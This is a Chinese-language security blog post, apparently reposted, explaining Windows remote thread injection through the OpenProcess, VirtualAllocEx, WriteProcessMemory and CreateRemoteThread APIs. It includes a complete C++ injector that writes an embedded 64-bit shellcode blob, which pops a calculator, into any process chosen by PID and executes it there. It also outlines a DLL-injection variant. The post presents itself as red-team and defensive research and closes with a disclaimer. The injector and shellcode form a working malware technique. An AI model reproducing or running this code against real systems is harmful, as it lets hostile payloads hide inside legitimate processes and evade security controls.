Windows安全攻防-远线程注入

admin 2026-01-07 02:48:52 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详解Windows远线程注入原理与完整代码,覆盖OpenProcess、VirtualAllocEx、WriteProcessMemory、CreateRemoteThread等关键API,给出Shellcode与DLL两种注入流程及64位计算器弹窗示例,强调内核级内存访问机制绕过进程隔离,可用于红队演练与防御研究。 综合评分: 92 文章分类: 红队,二进制安全,渗透测试,漏洞分析,WEB安全


cover_image

Windows安全攻防-远线程注入

原创

R0x7e

剑外思归客

2026年1月6日 00:01 江苏

远线程注入(Remote Thread Injection)是一个进程在另外一个进程中创建线程的技术,攻击者通常利用该技术将恶意代码注入到合法进程的地址空间中运行,从而绕过安全机制、隐藏自身行为或提升权限。

主要实现步骤

  1. 获取目标进程句柄:首先需要获取目标进程的访问权限
  2. 在目标进程中分配内存:为要注入的代码和数据分配空间
  3. 写入shellcode或DLL路径:将恶意代码或DLL路径写入分配的内存
  4. 创建远程线程:在目标进程中创建新线程执行注入的代码

相关Windows API

OpenProcess

获取目标进程的句柄,返回值就是句柄,执行失败返回NULL

HANDLE OpenProcess(
  DWORD dwDesiredAccess,  //进程的访问权限
  BOOL  bInheritHandle,  //句柄是否可以进行继承
  DWORD dwProcessId   //目标进程ID
);

参数说明

  • dwDesiredAccess:请求的访问权限,远线程注入通常需要:

  • PROCESS_CREATE_THREAD (0x0002):创建线程

  • PROCESS_QUERY_INFORMATION (0x0400):查询信息

  • PROCESS_VM_OPERATION (0x0008):内存操作

  • PROCESS_VM_WRITE (0x0020):写入内存

  • PROCESS_VM_READ (0x0010):读取内存

  • PROCESS_ALL_ACCESS    完整访问权限

  • bInheritHandle:句柄是否可继承,通常设为FALSE

  • dwProcessId:目标进程ID

VirtualAllocEx

在目标进程的虚拟地址空间中分配内存,执行成功,返回分配页面的基址,执行失败,返回NULL

LPVOID VirtualAllocEx(
  HANDLE hProcess,   //目标进程句柄
  LPVOID lpAddress,   //指定分配地址,NULL表示系统决定
  SIZE_T dwSize,      //要分配的内存大小
  DWORD  flAllocationType,   //内存分配类型
  DWORD  flProtect    //内存保护选项
);

参数说明

  • hProcess:目标进程句柄

  • lpAddress:指定分配地址,NULL表示由系统决定

  • dwSize:要分配的内存大小

  • flAllocationType

  • MEM_COMMIT (0x00001000):提交物理内存

  • MEM_RESERVE (0x00002000):保留地址空间

  • flProtect:内存保护选项,注入常用:

  • PAGE_EXECUTE_READWRITE (0x40):可执行、可读写

VirtualAlloc函数是在当前进程的虚拟空间内分配内存

WriteProcessMemory

将数据写入目标进程的内存空间,如果写入成功返回值不为0,写入失败,返回值为0

BOOL WriteProcessMemory(
  HANDLE  hProcess,   //目标进程的句柄
  LPVOID  lpBaseAddress,    //目标进程中的起始地址
  LPCVOID lpBuffer,    //要写入数据的本地缓冲区
  SIZE_T  nSize,    //要写入的字节数
  SIZE_T  *lpNumberOfBytesWritten   //接收实际写入字节数的指针,可设为NULL
);

CreateRemoteThread

在目标进程中创建线程,成功返回线程句柄,失败返回NULL

HANDLE CreateRemoteThread(
  HANDLE                 hProcess,   //目标进程句柄
  LPSECURITY_ATTRIBUTES  lpThreadAttributes,   //线程安全属性,通常NULL
  SIZE_T                 dwStackSize,   //初始堆栈大小,0表示默认
  LPTHREAD_START_ROUTINE lpStartAddress,   //线程起始地址
  LPVOID                 lpParameter,   //传递给线程函数的参数
  DWORD                  dwCreationFlags,   //创建标志,0表示立即执行
  LPDWORD                lpThreadId    //接收线程ID的指针,可NULL
);

lpStartAddress参数可以是shellcode的地址,也可以是LoadLibraryA这种的系统API函数地址

远线程注入的关键函数是CreateRemoteThread函数,能够在其他进程的地址空间中创建一个线程,实际上是通过内核进行创建的,创建一个新线程之后,新线程的EIP/RIP被设置为lpStartAddress,当目标进程的线程调度器调度这个线程时,它就会执行该地址(lpStartAddress)处的代码,即(Shellcode,或LoadLibrary)

WaitForSingleObject

主要用于等待一个内核对象(如线程、进程、事件、互斥量等)进入“有信号状态”(Signaled)。它的作用是让当前线程进入阻塞状态,直到指定的对象满足条件(如线程结束、事件触发)或超时时间到达。

DWORD WaitForSingleObject(
HANDLE hHandle,      // 要等待的对象的句柄(如线程、事件、互斥量等)
DWORD dwMilliseconds          // 等待时间(毫秒),可设为 INFINITE 表示无限等待 );

应用场景-等待线程结束

HANDLE hThread = CreateThread(...); // 创建线程
WaitForSingleObject(hThread, INFINITE); // 无限等待线程结束
CloseHandle(hThread); // 关闭线程句柄

远线程注入实现Shellcode注入

核心步骤:

  1. 获取目标进程句柄 (OpenProcess)
  2. 在目标进程内存中分配空间 ,用于存储shellcode(VirtualAllocEx)
  3. 将 shellcode写入到目标进程内存 (WriteProcessMemory)
  4. 在目标进程中创建远程线程 (CreateRemoteThread)
  5. 等待线程结束并清理 (WaitForSingleObjectVirtualFreeExCloseHandle)

具体代码实现

#include&nbsp;<Windows.h>
#include&nbsp;<iostream>
#include&nbsp;<vector>
#include&nbsp;<TlHelp32.h>
#include&nbsp;<string>

//弹出计算器的shellcode,64位,目标程序也应是64位
unsigned&nbsp;char&nbsp;buf[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
"\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
"\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";

bool&nbsp;injectShellcode(DWORD Target)&nbsp;{

&nbsp; &nbsp;&nbsp;//获取目标进程句柄
&nbsp; &nbsp; HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE,Target);
&nbsp; &nbsp;&nbsp;if&nbsp;(hProcess ==&nbsp;nullptr) {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;std::cerr&nbsp;<<&nbsp;"[!] Open Process failed: "<<GetLastError() <<&nbsp;std::endl;
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;FALSE;
&nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;//在目标进程内创建内存空间
&nbsp; &nbsp; LPVOID remoteBuffer = VirtualAllocEx(hProcess,NULL,sizeof(buf), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
&nbsp; &nbsp;&nbsp;if&nbsp;(remoteBuffer ==&nbsp;nullptr) {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;std::cerr&nbsp;<<&nbsp;"[!] VirtualAllocEx failed:"&nbsp;<< GetLastError() <<&nbsp;std::endl;
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;FALSE;
&nbsp; &nbsp; }

&nbsp; &nbsp;&nbsp;//往内存内写入shellcode,写入失败返回0,成功返回非0
&nbsp; &nbsp; BOOL writeCodeResult = WriteProcessMemory(hProcess,remoteBuffer,buf,sizeof(buf),NULL);
&nbsp; &nbsp;&nbsp;if&nbsp;(!writeCodeResult) {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;std::cerr&nbsp;<<&nbsp;"[!] WriteProcessMemory failed:"&nbsp;<< GetLastError() <<&nbsp;std::endl;
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;FALSE;
&nbsp; &nbsp; }

&nbsp; &nbsp;&nbsp;//在目标进程内创建线程并执行shellcode
&nbsp; &nbsp; HANDLE hThread = CreateRemoteThread(hProcess,NULL,0, (LPTHREAD_START_ROUTINE)remoteBuffer,NULL,0,NULL);
&nbsp; &nbsp;&nbsp;if&nbsp;(hThread ==&nbsp;NULL) {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;std::cerr&nbsp;<<&nbsp;"[!] CreateRemoteThread failed: "&nbsp;<< GetLastError <<&nbsp;std::endl;
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;FALSE;
&nbsp; &nbsp; }

&nbsp; &nbsp;&nbsp;// 获取线程 ID
&nbsp; &nbsp; DWORD threadId = GetThreadId(hThread);
&nbsp; &nbsp;&nbsp;std::cout&nbsp;<<&nbsp;"Thread ID"&nbsp;<< threadId <<&nbsp;std::endl;

&nbsp; &nbsp;&nbsp;// 等待远程线程执行完成 (可选,取决于Shellcode行为)
&nbsp; &nbsp;&nbsp;// 对于弹出消息框的Shellcode,通常不需要等待,因为它会阻塞目标进程。
&nbsp; &nbsp;&nbsp;// 对于其他Shellcode,可能需要等待其完成或超时。
&nbsp; &nbsp;&nbsp;// WaitForSingleObject(hRemoteThread, INFINITE);

&nbsp; &nbsp;&nbsp;// 释放远程进程中分配的内存,虽然Shellcode执行后可能已不再需要,
&nbsp; &nbsp;&nbsp;// 但良好的实践是进行清理。
&nbsp; &nbsp;&nbsp;// 注意:如果Shellcode需要长时间运行或修改内存,则不应立即释放。
&nbsp; &nbsp; VirtualFreeEx(hProcess, remoteBuffer,&nbsp;0, MEM_RELEASE);
&nbsp; &nbsp; CloseHandle(hThread);
&nbsp; &nbsp; CloseHandle(hProcess);
&nbsp; &nbsp;&nbsp;return&nbsp;TRUE;
}

int&nbsp;main(int&nbsp;argc,char* argv[])
{
&nbsp; &nbsp;&nbsp;if&nbsp;(argc !=&nbsp;2) {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;std::cout&nbsp;<<&nbsp;"Uasge: "<<argv[0]<<" <PID>"&nbsp;<<&nbsp;std::endl;
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;1;
&nbsp; &nbsp; }
&nbsp; &nbsp; DWORD TargetPID =&nbsp;static_cast<DWORD>(std::stoul(argv[1]));
&nbsp; &nbsp;&nbsp;bool&nbsp;injectResult = injectShellcode(TargetPID);
&nbsp; &nbsp;&nbsp;if&nbsp;(injectResult) {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;std::cout&nbsp;<<&nbsp;"Inject Success!"&nbsp;<<&nbsp;std::endl;
&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;else&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;std::cout&nbsp;<<&nbsp;"Inject Failed!"&nbsp;<<&nbsp;std::endl;
&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;return&nbsp;0;
}

远线程实现DLL注入

通过远线程实现DLL注入的思路其实很简单,将CreateRemoteThreadlpStartAddress参数设置为LoadLibrary函数的地址,lpParameter参数设置要加载的DLL文件路径即可核心步骤:

  1. 获取目标进程句柄 (OpenProcess)
  2. 在目标进程内存中分配空间 (VirtualAllocEx)
  3. 将 DLL 的完整路径写入目标进程内存 (WriteProcessMemory)
  4. 获取 LoadLibrary 函数的地址 (GetProcAddress)
  5. 在目标进程中创建远程线程 (CreateRemoteThread)
  6. 等待线程结束并清理 (WaitForSingleObjectVirtualFreeExCloseHandle)

相关疑问点

问:windows进程是相关隔离的,一个进程不能访问另外一个进程的内存,为什么还可以进行远线程注入?在其他的进程空间内写入数据? 答:进程隔离是给用户态程序设定的规则。操作系统内核(ntoskrnl.exe)拥有对所有物理内存的完全访问权限。Windows提供了一系列系统API,允许具有足够权限的进程请求内核代表它去操作另一个进程的内存。

by: 《剑外思归客》,R0x7e


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:剑外思归客 R0x7e《Windows安全攻防-远线程注入》

评论:0   参与:  0